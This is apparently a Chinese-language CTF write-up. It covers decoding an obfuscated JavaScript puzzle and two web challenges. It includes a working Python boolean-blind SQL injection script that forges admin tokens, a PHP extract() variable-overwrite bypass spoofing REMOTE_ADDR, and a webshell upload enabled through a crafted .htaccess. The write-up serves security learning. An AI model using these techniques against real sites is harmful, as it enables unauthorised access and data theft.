Osint
羡慕群友每一天
MISC
签到
扫码关注公众号,回复一下行
(眼神要好, 我做题时没看见有个二维码)
神秘的文字
把代码js运行一下
(用js的原因是前面给的动物代表的字符类似jsfuck代码)
𓅂=+![];
𓂀=+!𓅂;
𓁄=𓂀+𓂀;
𓊎=𓁄+𓂀;
𓆣=𓁄*𓁄;
𓊝=𓊎+𓁄;𓆫=𓁄*𓊎;
𓅬=𓆣+𓊎;
[𓇎,𓏢,𓆗,𓃠,𓃀,𓋌,𓏁,𓇲,𓁣,𓁺,𓏁,𓇲,𓆦,𓏁,𓁣,𓇲,𓄬,𓇲,𓁣,𓏁,𓋌,𓁣,𓇲,𓏁,𓋌,𓇲]=(𓆡='\\"')+!!𓆡+!𓆡+𓆡.𓆡+{};
𓆉=𓇲+𓁣+𓆦+𓁺+𓆗+𓃠+𓃀+𓇲+𓆗+𓁣+𓃠,𓆉=𓆉[𓆉][𓆉],𓄦=𓏁+𓁣+𓄬+𓆦,𓄀=𓃠+𓋌+𓆗+𓃀+𓃠+𓆦+" ";
console.log(𓇎+𓂀+𓅂+𓅬+𓇎+𓂀+𓂀+𓅬+𓇎+𓂀+𓂀+𓅬+𓇎+𓂀+𓅂+𓆣+𓇎+𓆣+𓂀+𓇎+𓂀+𓊎+𓂀+𓇎+𓂀+𓂀+𓅬+𓇎+𓂀+𓁄+𓊝+𓇎+𓂀+𓆫+𓁄+𓇎+𓆣+𓅂+𓇎+𓂀+𓆫+𓅂+𓇎+𓂀+𓅂+𓂀+𓇎+𓂀+𓆫+𓊎+𓇎+𓂀+𓆫+𓊎+𓇎+𓂀+𓁄+𓅬+𓇎+𓂀+𓊝+𓅬+𓇎+𓂀+𓆫+𓁄+𓇎+𓂀+𓆣+𓆣+𓇎+𓆣+𓅂+𓇎+𓂀+𓊝+𓂀+𓇎+𓂀+𓆫+𓊎+𓇎+𓅬+𓁄+𓇎+𓂀+𓊝+𓊝+𓇎+𓂀+𓅂+𓂀+𓇎+𓂀+𓆫+𓁄+𓇎+𓂀+𓆫+𓆣+𓇎+𓆫+𓂀+𓇎+𓂀+𓂀+𓆫+𓇎+𓂀+𓊎+𓅬+𓇎+𓂀+𓂀+𓊎+𓇎+𓆫+𓂀+𓇎+𓂀+𓅂+𓊝+𓇎+𓂀+𓁄+𓅂+𓇎+𓂀+𓆫+𓅂+𓇎+𓆫+𓊎);
是八进制,转成文本,我用脚本转,在线工具有乱码
import chardet
byte_str = b"\107\117\117\104\41\131\117\125\162\40\160\101\163\163\127\157\162\144\40\151\163\72\155\101\162\164\61\116\137\113\61\105\120\160\63"
byte_str_charset = chardet.detect(byte_str) # 获取字节码编码格式
byte_str = str(byte_str, byte_str_charset.get('encoding')) # 将八进制字节流转化为字符串
print(byte_str)
WEB
在经历过几次比赛以后发现现在比赛的web题,难度和脑洞都有,特别是在脚本和自动化工具的运用上要求很熟练,否则在做题时可能会感觉无从下手
EzLogin
TOKEN
Token是服务端生成的一串字符串,以作客户端进行请求的一个令牌,当第一次登录后,服务器生成一个Token便将此Token返回给客户端,以后客户端只需带上这个Token前来请求数据即可,无需再次带上用户名和密码
作用:
1. 身份验证令牌(Authentication Token):在身份验证过程中,令牌是一个用于证明用户身份的凭据。它可以是一个包含用户信息和其他标识符的加密字符串,例如用户名、角色、权限等。常见的身份验证令牌包括JWT(JSON Web Token)和OAuth令牌。
2. 会话令牌(Session Token):在Web应用程序中,会话令牌是一个用于标识用户会话的唯一标识符。它通常存储在客户端的Cookie中,并在用户登录后生成和发送到客户端。会话令牌可以帮助服务器跟踪用户的状态,例如用户是否已经登录,以及用户的特定会话数据。
3. 访问令牌(Access Token):在OAuth身份验证流程中,访问令牌是一个用于访问受保护资源的凭据。当用户通过OAuth授权后,授权服务器会颁发访问令牌给客户端应用程序,然后客户端可以使用该令牌来请求受保护资源。
4. CSRF令牌(Cross-Site Request Forgery Token):用于防止跨站请求伪造攻击的令牌。它是一个随机生成的字符串,嵌入到Web表单中,并在提交表单时与会话中存储的令牌进行比较。如果两者不匹配,则请求被视为潜在的CSRF攻击。
个人感觉如果了解过session的话,可能比较好理解token
进入靶场后,查看源代码发现有一个注册的页面,先注册一个账户,然后登录
(我注册的是admin1 123)
登录后会跳转到home.php,一开始我以为是登录的问题,反复尝试了几遍发现还是这个页面,只能抓包看看,发现了token,放厨师里面解密一下
是一串json的字符串,把admin改为1,修改token
在刷新home.php,发现会回显注册的用户和密码
在大token里面还有一个小token,是md5,所以可以多注册几个用户尝试看home.php的回显
听有些大佬用的二次注入,应该是因为有页面回显了用户信息,所以二次注入构造恶意sql语句
这里使用布尔盲注,因为经过尝试后,发现存在sql注入
#导入库
import requests #用于发送HTTP请求
import base64 #用于进行Base64编码和解码
import hashlib #用于计算MD5哈希值
import binascii#用于在二进制数据和ASCII字符串之间进行转换
import json #用于处理JSON数据(因为要构建json的字符串形式)
#定义辅助函数
def bin2hex(binary_data):
hex_data = binascii.hexlify(binary_data)
return hex_data.decode('utf-8')
def hash_md5(input_string):
md5_obj = hashlib.md5()
md5_obj.update(input_string.encode('utf-8'))
hash_string = md5_obj.hexdigest()
return hash_string
def encode_base64(input_string):
input_bytes = input_string.encode('utf-8')
base64_bytes = base64.b64encode(input_bytes)
base64_string = base64_bytes
return base64_string
s=""
#循环构造和发送请求
for j in range(1,50):
for i in range(32,130):
inp="admin'/**/and/**/substr((select table_name from information_schema.tables where table_schema like 0x444b435446 LIMIT 2,1),"+str(j)+",1)='"+chr(i)+"'/**/and/**/'1"
inp="admin'/**/and/**/substr((select sseeccrreett from secret),"+str(j)+",1)='"+chr(i)+"'/**/and/**/'1"
inp=inp.replace(" ","/**/")
md=hash_md5(inp)
jso=json.dumps({"username":inp, "token":md, "is_admin":1})
token=bin2hex(encode_base64(jso))
headers={
"Host":"challenge.qsnctf.com:32311",
"User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:126.0) Gecko/20100101 Firefox/126.0",
"Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",
"Accept-Encoding": "gzip, deflate",
"Accept-Language": "zh-CN,zh;q=0.9,en;q=0.8",
"Cookie":"TOKEN="+token
}
a=requests.get("http://challenge.qsnctf.com:32311/home.php",headers=headers)
#处理响应
if("No user found." in a.text):
pass
elif("Hacker" in a.text):
pass
#print(chr(i),"*hacker")
#print(a.text)
#break
else:#if("pass" in a.text):
s+=chr(i)
print(s)
break
总结:这题主要就是抓住token,因为token是我们注册是生成的令牌,并且题目也给了hint是根据用户来输出密码,说明跟token有关,对于cookie中的session,token之类的东西要敏感一点
ezsign
dirsearch扫一下,发现index.php.bak 下载后打开,进行代码审计
?php
error_reporting(0);
// 检查 cookie 中是否有 token
$token = $_COOKIE['token'] ?? null;
if($token){
extract($_GET);
$token = base64_decode($token);
$token = json_decode($token, true);
$username = $token['username'];
$password = $token['password'];
$isLocal = false;
if($_SERVER['REMOTE_ADDR'] == "127.0.0.1"){
$isLocal = true;
}
if($isLocal){
echo 'Welcome Back,' . $username . '!';
//如果 upload 目录下存在$username.png文件,则显示图片
if(file_exists('upload/' . $username . '/' . $token['filename'])){
// 显示图片,缩小图片
echo '<br>';
echo '<img src="upload/' . $username . '/' . $token['filename'] .'" width="200">';
} else {
echo '请上传您高贵的头像。';
// 写一个上传头像的功能
$html = <<<EOD
<form method="post" action="upload.php" enctype="multipart/form-data">
<input type="file" name="file" id="file">
<input type="submit" value="Upload">
</form>
EOD;
echo $html;
}
} else {
// echo "留个言吧";
$html = <<<EOD
<h1>留言板</h1>
<label for="input-text">Enter some text:</label>
<input type="text" id="input-text" placeholder="Type here...">
<button onclick="displayInput()">Display</button>
EOD;
echo $html;
}
} else {
$html = <<<EOD
大致的意思是:
- 首先,检查cookie中是否存在名为"token"的值。如果存在,则解码该token并提取出其中的用户名、密码以及其他信息。
- 然后,检查用户的IP地址是否为本地地址(127.0.0.1),如果是,则欢迎用户,并检查是否存在用户上传的头像文件。如果存在,则显示该头像;否则,提示用户上传头像的功能。
- 如果用户不是本地用户,则显示一个留言板,允许用户输入文本,并在点击按钮后将文本显示出来。
- 如果cookie中不存在"token"值,则显示一个登录表单,要求用户输入用户名和密码进行登录。
其中存在一个extract()函数,这个函数可能导致变量覆盖
extract - 从关联数组中提取变量 (键为变量名,值为变量值),导入系统
$data = array("username" => "john", "age" => 30); extract($data); echo $username; // 输出 "john" echo $age; // 输出 "30"
前面要求是本地127.0.0.1访问的,所以可以利用extract来进行变量覆盖,通过上传_SERVER[REMOTE_ADDR]=127.0.0.1,被extract提取后导入系统中,进入upload页面
上传文件后,发现蚁剑连接不上,查看源码发现存在一个.htaccess
这里真不知道怎么判断出的解析不成功,赛方给了hint
(30分钟后,我明白了,当我上传了php后,直接访问显示的还是源码,所以来判断没有被解析
Dusk队的wp )
上传一个.htaccess配置文件,打开php解析引擎("php_flag engine 1"来打开引擎 )
之后蚁剑连接 /upload/admin/1.jpg,路径是图片路径
知识点:.htaccess和extract
.htaccess文件是一个用于配置 Apache Web 服务器的配置文件,它可以用来控制网站的行为,包括重定向、URL 重写、访问控制等。
.htaccess
文件通常位于网站根目录下,它的名称以点开头,表示该文件是一个隐藏文件,用于存放敏感配置信息